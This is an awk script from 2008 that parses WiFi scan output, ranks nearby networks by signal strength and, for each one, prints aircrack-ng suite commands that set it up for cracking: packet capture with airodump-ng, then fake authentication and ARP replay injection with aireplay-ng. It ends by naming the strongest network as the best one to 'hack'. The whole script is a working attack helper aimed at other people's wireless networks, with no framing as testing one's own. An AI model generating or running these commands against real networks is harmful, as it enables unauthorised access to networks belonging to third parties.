##
# Sorting WiFi network and give some info
# + prepare for cracking them
#
# Usage: iwlist ath0 scan | awk -f sort.awk
#
# TODO: * Manage hidden ssid
#	* Manage WPA/WPA2 network
#
##
# wilcat - 2008
##

BEGIN { RS = "          Cell "; FS="\n"; }
{ 
  networks[NR] = $0;
} 
END {
 NbNet=NR;
 print "Number of networks: " NbNet;
 BestTry=-100;
 BestSSID="none";
 for ( i=2 ; i < NbNet; i++ ) {
  entry = networks[i];
  FS="\n"
  NbLine=split(entry, lines);
  for (j=0;j<NbLine;j++) {
   line=lines[j];
   if (length(line)==0) continue; 
   #print "line(" length(line) "): " line;
   FS=" ";
   if (match(line,"Address:")) {
     split(line, args);
     MacAddress = args[4];
   #  print "Address found: " MacAddress;
   } 
   else if (match(line,"ESSID:")) {
     FS=":";
     split(line, args);
     FS="\""
     split(args[2], args);
     Essid = args[2];
   }
   else if (match(line,"Mode:")) {
     FS=":";
     split(line, args);
     Mode=args[2];
   }
   else if (match(line,"Frequency:")) {
     FS=":";
     split(line, args);
     FS=" "
     split(args[2], args);
     FS=")"
     split(args[4], args);
     Channel=args[1];
   }
   else if (match(line,"Quality=")) {
     FS="=";
     split(line, args);
     FS=" "
     split(args[2], sig);
     Quality=sig[1];
     split(args[3], sig);
     Signal=sig[1];
     split(args[4], sig);
     Noise=sig[1];
   }
   else if (match(line,"Encryption key:")) {
     FS=":";
     split(line, args);
     Crypt=args[2];
   }
  }
  print "*-----[ " Essid "/" MacAddress "/" Mode " ]-----*";
  if (Signal< -80) {
   print "* -> too far.. skipping..";
   print "*---------------------------------------------*";
   continue;
  }
  if (Signal > BestTry) {
    BestTry = Signal;
    BestSSID = Essid;
  }
  print "* Frequency: " Channel;
  print "* SNR: " Signal "/" Noise "/ " Quality
  print "* Crypted: " Crypt;
  print "*-----> CrackIt ?";
  print "* airodump-ng --write " Essid " --channel " Channel " --bssid " MacAddress " ath0"; 
  print "* aireplay-ng -1 0 -e \"" Essid "\" -a " MacAddress " -h MAC ath0";
  print "* aireplay-ng -3 -e " Essid " -b " MacAddress " -h MAC ath0";
  print "*---------------------------------------------*";
 }
 print " You would be lucky to hack " BestSSID ": It has more signal!";
}